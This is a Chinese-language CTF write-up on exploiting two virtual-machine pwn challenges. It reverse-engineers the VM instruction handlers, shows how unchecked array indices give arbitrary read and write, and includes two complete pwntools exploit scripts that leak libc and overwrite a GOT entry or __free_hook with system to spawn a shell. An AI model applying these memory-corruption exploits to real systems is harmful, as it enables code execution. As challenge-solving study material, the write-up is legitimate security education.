感谢南梦师傅博客 南梦爷爷博客
当我们 拿到 一个 虚拟机的 pwn的时候 先看看函数的逻辑
是很多 分支 或者说很多 switch 语句
这样 很大可能说明了 这很有可能是一个 虚拟机 或者是一个 解释器
PC
程序计数器,他存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令SP
指针寄存器,永远指向当前栈顶。BP
基质指针。也是用于指向栈的某些位置,在调用函数的时候会用到它AX
通用寄存器,我们的虚拟机中,它用于存放一条指令执行后的结果在程序中 PC
的初始值指向目标代码的 main
函数
虚拟机定义的时候 会定义一个 全局变量的 枚举类型 里面有我们需要的指令
如 :MOV
,ADD
之类的
刚开始的 malloc_all 里面会记录我们的 的输入 的不同段开始的地址 和 对应的 参数个数
例如:stack
在 store 函数中 有个 move 函数 会把我们的输入保存到我们 开始时创建的 对应chunk 中
name
和instruction
\n\r\t被分割
将我们 输入的instruction
分为一组一组的指令ptr
数组中push
pop
add
sub
mul
div
load
save
这几个指令分析得到这里是 给虚拟机 布置指令
void __fastcall ins_stack(__int64 some_data, char *ins) { int idx; // [rsp+18h] [rbp-18h] int i; // [rsp+1Ch] [rbp-14h] const char *part1; // [rsp+20h] [rbp-10h] _QWORD *ptr; // [rsp+28h] [rbp-8h] if ( some_data ) { ptr = malloc_0(8LL * *(some_data + 8)); idx = 0; for ( part1 = strtok(ins, delim); idx < *(some_data + 8) && part1; part1 = strtok(0LL, delim) )// \n\r\t被分割 // { if ( !strcmp(part1, "push") ) { ptr[idx] = 0x11LL; } else if ( !strcmp(part1, "pop") ) { ptr[idx] = 0x12LL; } else if ( !strcmp(part1, "add") ) { ptr[idx] = 0x21LL; } else if ( !strcmp(part1, "sub") ) { ptr[idx] = 0x22LL; } else if ( !strcmp(part1, "mul") ) { ptr[idx] = 0x23LL; } else if ( !strcmp(part1, "div") ) { ptr[idx] = 0x24LL; } else if ( !strcmp(part1, "load") ) { ptr[idx] = 0x31LL; } else if ( !strcmp(part1, "save") ) { ptr[idx] = 0x32LL; } else { ptr[idx] = '\xFF'; } ++idx; } for ( i = idx - 1; i >= 0 && mov(some_data, ptr[i]); --i ) ; free(ptr); } }
mov 函数
signed __int64 __fastcall mov(chunk *data, __int64 ptr) { int idx; // [rsp+1Ch] [rbp-4h] if ( !data ) return 0LL; idx = data->idx + 1; if ( idx == data->size ) return 0LL; *(data->section_ptr + 8LL * idx) = ptr; data->idx = idx; return 1LL; }
\n\r\t被分割
将我们的输入 然后保存在虚拟的栈上void __fastcall num_stack(__int64 a1, char *data) { int v2; // [rsp+18h] [rbp-28h] int i; // [rsp+1Ch] [rbp-24h] const char *nptr; // [rsp+20h] [rbp-20h] _QWORD *ptr; // [rsp+28h] [rbp-18h] if ( a1 ) { ptr = malloc_0(8LL * *(a1 + 8)); v2 = 0; for ( nptr = strtok(data, delim); v2 < *(a1 + 8) && nptr; nptr = strtok(0LL, delim) ) ptr[v2++] = atol(nptr); for ( i = v2 - 1; i >= 0 && mov(a1, ptr[i]); --i ) ; free(ptr); } }
布置指令和参数
IDA 在识别的时候出现错误 没有很好的反汇编
我们就看看汇编代码
如果我们 之前输入的 指令 对应的值 -0x11
还小于 0x21 的话这个时候 会把它当作 index 去找到对应的值
然后让程序跳转到对应的指令去 执行虚拟机指令
程序 分析到这里 就是一个 简单的 虚拟机结构,但是程序没有对数组的下标进行判断
所以,我们可以看i用这个漏洞向我们需要的一个地方写入值。
我们可以先泄露 一个 libc 的值,从而 修改一个 函数的 Got 表的值为
system 或者 为 onegadget 的值
从而让我们能直接利用得到 shell
测试
计算出 1 + 3 的值
根据队列来取值 或调用的参数
然后发现 程序每个 值都是更具 对应chunk 前一个 chunk 中更具 idx 来选取的,发现程序没有对 这个 idx 进行判断
sava(data, offset)
sava 函数对 offset 地址赋值为 data
因为没有验证 offset 的值
我们可以 输入负数修改 data chunk 的信息chunk 的 data_chunk 指针为 got 表 从而下次 push 函数会吧这个地址当作我们的 运行段
load(offset)
保存data 段对应 offset 地址的值
然后用到 save 函数把我们 需要的 libc 地址 保存到对应的 libc 表中
从而得到 shell
修改 puts 为 system
from pwn import * context.log_level='debug' p = process('./pwn') elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def d(s=''): gdb.attach(p,s) # d("b *0x00000000004019FD \n") p.sendlineafter('name:\n','/bin/sh') ins = "push push save push load push add push save" p.sendlineafter('instruction:\n', ins) offset = -(libc.sym['puts'] - libc.sym['system']) data_addr=0x000000000404088 data = [data_addr,-3,-12 ,offset ,-12] payload="" for i in data: payload+=str(i)+" " # d('b *0x0000000000401A75\nb *0x00000000004019C7\nb*0x0000000000401A5D\n') p.sendlineafter('data:\n',payload) p.interactive()
程序刚开始 先初始化基础值
然后队 memory 赋值
赋值结束 因为 running = 1
所以进入一个 while 循环 依次进行我们输入的 指令的操作
相当于依次获得 memory 数组中存放的 函数指令
reg[15] --> idx
获得指令后 进入 execute(memory[rep[15]])
函数对应所有的指令操作
将输入的 4 字节分成 4组
操作指令 | 参数c | 参数b | 参数a
对应值对应的操作
0x10 --> reg[c] = memory
0x20 --> reg[c] = memory == 0
0x30 --> reg[c] = ::memory[reg[a]]
0x40 --> ::memory[reg[a]] = reg[c] // 存在任意写
0x50 --> stack[reg[13]++] = reg[c]
0x60 --> reg[c] = stack[--reg[13]] // 存在任意读
0x70 --> reg[c] = reg[a] + reg[b]
0x80 --> reg[c] = reg[b] - reg[a]
0x90 --> reg[c] = reg[a] & reg[b]
0xA0 --> reg[c] = reg[a] | reg[b]
0xB0 --> reg[c] = reg[a] ^ reg[b]
0xC0 --> reg[c] = reg[b] << reg[a]
0xD0 --> reg[c] = reg[b] >> reg[a]
0xE0 --> running = 0
0xFF --> running = 0 打印 reg[] 数组中的 所有值
reg[13] = sp (无符号数)
reg[15] = pc (无符号数) --> 指令存储的 memory 的起始位置
因为没有验证 数组的偏移多少
所有我们 可以想办法 构造 数组的 下标为 负数,从而向上读,可以读取到
got表中的值,让通过指令将 得到的 值保存到一个寄存器中
我们对应的 寄存器 reg[10] 对应的是 dd DWORD 型的
因为我们的 程序是 64位的
但是这个 寄存器保存值只能保存 4 字节
想要保存 8 字节的值 我们需要用到两个寄存器。
我们直接用 赋值操作 + 移位 将这个
0x60 操作下的 reg[13] 的值转化为 负数然后保存在对应的寄存器中
通过这个 方法我们可以实现任意读和任意写,
然后要做的 就是想办法去利用它
首先想到的是 得到libc 然后任意写,有个很巧妙的办法
就是 将最后
comment[0] 指针 覆盖为 一个地方 这样 我们 reg 寄存器中存在值在 退出打印的时候可以的得到libc
然后最后的 read 又能 覆盖comment[0] 这个地址保存值
从而 得到shell
有个方法就是
我们可以修改 comment[0] 指针指向 free_hook -0x8
从而可以先 写入 /bin/sh\x00 + p64(system)
这样最后free(comment[0]) 的时候就能 执行 system("/bin/sh\x00")
修改前
修改后
修改 free_hook
布置 “/bin/sh\x00”参数
from pwn import * context.log_level = 'debug' exe = './ovm' elf = ELF(exe) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def d(s=''): gdb.attach(p, s) def pwn(): read_offset = libc.sym['read'] system_offset = libc.sym['system'] __free_hook_offset = libc.sym['__free_hook'] offset_free_hook_2_read = __free_hook_offset - read_offset offset_system_2_read = system_offset - read_offset one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] code = [ 0x100d0001, # reg[13] = 1 0x10010008, # reg[0] = 8 0xc00d0d01, # reg[13] = 1<<8 => 0x100 0xc00d0d01, # reg[13] = 0x100<<8 => 0x10000 0x1001003e, # reg[1] = 0x3e 0x700d0d01, # reg[13] = reg[13] + reg[1] = 0x1003e 0x10010000, # reg[1] = 0 0x800D010D, # reg[13] = reg[1] - reg[13] = 0 - 0x1003e = 0xffc2 ----> -0x3e # stack[-0x3e] = read_got+0x8 0x60030000, # reg[3] = read_got_high_int 0x60040000, # reg[4] = read_got_low_int 0x10020008, # reg[2] = 8 0x10050000+((offset_free_hook_2_read>>16)), # reg[5] = offset_system_2_read_high 0x10060000+(0x10000-(offset_free_hook_2_read>>8)%100-2), 0xc0050502, # reg[5] = reg[5] << 8 0x70050506, # reg[5] = reg[5] + reg[6] 0x10060000+((offset_free_hook_2_read)%0x100-0x8), 0xc0050502, # reg[5] = reg[5] << 8 0x70050506, # reg[5] = reg[5] + reg[6] 0x70040405, # reg[4] = reg[4] + offset -----> free_hook-8 0x80020002, # reg[2] = -8 0x40040002, # memory[-8] = __free_hook - 8 _low 0x10020007, 0x80020002, 0x40030002, # memory[-9] = _free_hook - 8 _high 0xff000000 ] p.sendlineafter("PCPC: ", '0') p.sendlineafter("SP: ", '0') p.sendlineafter("CODE SIZE: ", str(len(code))) # d() for i in code: sleep(0.1) p.sendline(str(i)) # d() success("read_offset-->"+hex(read_offset)) success("offset_free_hook_2_read-->"+hex(offset_free_hook_2_read)) p.recvuntil("R3: ") free_hook = int(p.recv(4),16)<<32 p.recvuntil("R4: ") free_hook += int(p.recv(8),16)+8 success("free_hook-->"+hex(free_hook)) libc_base = free_hook - __free_hook_offset system = libc.sym['system'] + libc_base success("system-->"+hex(system)) p.sendlineafter("HOW DO YOU FEEL AT OVM?",'/bin/sh\x00'+p64(system)) p.interactive() if __name__ == '__main__': p = process(exe) pwn() '''one 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''